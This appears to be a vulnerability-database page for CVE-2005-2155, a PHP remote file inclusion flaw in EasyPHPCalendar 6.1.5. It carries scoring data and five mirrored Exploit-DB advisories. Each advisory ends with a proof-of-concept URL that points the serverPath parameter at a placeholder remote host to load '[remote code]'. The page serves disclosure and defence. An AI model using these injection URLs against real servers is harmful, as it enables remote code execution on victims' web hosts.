CVE-2005-2155
published 2005-07-06CVE-2005-2155: PHP remote file inclusion vulnerability in EasyPHPCalendar 6.1.5 and earlier allows remote attackers to execute arbitrary code via the serverPath parameter.
PriorityP340high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
3.40%
87.3th percentile
PHP remote file inclusion vulnerability in EasyPHPCalendar 6.1.5 and earlier allows remote attackers to execute arbitrary code via the serverPath parameter.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| easyphpcalendar | easyphpcalendar | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
EasyPHPCalendar 6.1.5/6.2.x - 'header.inc.php?serverPath' Remote File Inclusion
exploitdb·2005-07-04
CVE-2005-2155 EasyPHPCalendar 6.1.5/6.2.x - 'header.inc.php?serverPath' Remote File Inclusion
EasyPHPCalendar 6.1.5/6.2.x - 'header.inc.php?serverPath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/14131/info
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code]
Exploit-DB
EasyPHPCalendar 6.1.5/6.2.x - 'setupSQL.php?serverPath' Remote File Inclusion
exploitdb·2005-07-04
CVE-2005-2155 EasyPHPCalendar 6.1.5/6.2.x - 'setupSQL.php?serverPath' Remote File Inclusion
EasyPHPCalendar 6.1.5/6.2.x - 'setupSQL.php?serverPath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/14131/info
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code]
Exploit-DB
EasyPHPCalendar 6.1.5/6.2.x - 'calendar.php?serverPath' Remote File Inclusion
exploitdb·2005-07-04
CVE-2005-2155 EasyPHPCalendar 6.1.5/6.2.x - 'calendar.php?serverPath' Remote File Inclusion
EasyPHPCalendar 6.1.5/6.2.x - 'calendar.php?serverPath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/14131/info
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code]
Exploit-DB
EasyPHPCalendar 6.1.5/6.2.x - 'popup.php?serverPath' Remote File Inclusion
exploitdb·2005-07-04
CVE-2005-2155 EasyPHPCalendar 6.1.5/6.2.x - 'popup.php?serverPath' Remote File Inclusion
EasyPHPCalendar 6.1.5/6.2.x - 'popup.php?serverPath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/14131/info
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code]
Exploit-DB
EasyPHPCalendar 6.1.5/6.2.x - 'datePicker.php?serverPath' Remote File Inclusion
exploitdb·2005-07-04
CVE-2005-2155 EasyPHPCalendar 6.1.5/6.2.x - 'datePicker.php?serverPath' Remote File Inclusion
EasyPHPCalendar 6.1.5/6.2.x - 'datePicker.php?serverPath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/14131/info
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code]
No writeups or analysis indexed.
2005-07-06
Published